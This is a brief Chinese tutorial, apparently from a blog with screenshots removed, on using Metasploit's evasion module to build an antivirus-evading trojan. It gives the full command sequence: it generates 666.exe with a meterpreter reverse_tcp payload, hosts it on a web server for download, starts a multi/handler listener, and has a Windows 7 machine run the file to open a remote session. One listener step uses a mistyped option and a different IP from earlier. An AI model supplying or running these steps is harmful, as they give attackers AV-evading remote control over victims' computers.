1.evasion简介
evasion是metasploit自带的模块,使用此模块可以生成反杀毒软件的木马。
2.操作流程
打开kali系统的Metasploit软件。
编辑
如图,我们可以看到evasion中有7个模块
编辑 查看模块 search evasion编辑
使用模块 use evasion/windows/windows_defender_exe编辑
查看需要配置的参数 show options
编辑
生成软件 set FILENAME 666.exe
编辑 指定一个payload set payload windows/meterpreter/reverse_tcp
编辑
设置监听主机 set LHOST 192.168.0.109
编辑
run
编辑
将生成的软件复制到/var/www/html/目录下,便于去下载
cp /root/.msf4/local/666.exe /var/www/html/
编辑
在MSF上启动handler开始监听后门程序
1.kali启动Metasploit软件
2.使用模块 use exploit/multi/handler,并查看需要配置的参数show options
3.建立payload set payload windows/meterpreter/reverse_tcp
4.设置监听主机--kali set LHOSTS 192.168.1.109
5.开启run
win7系统下载生成的666.exe文件
编辑
运行软件,我们就成功建立会话成功
编辑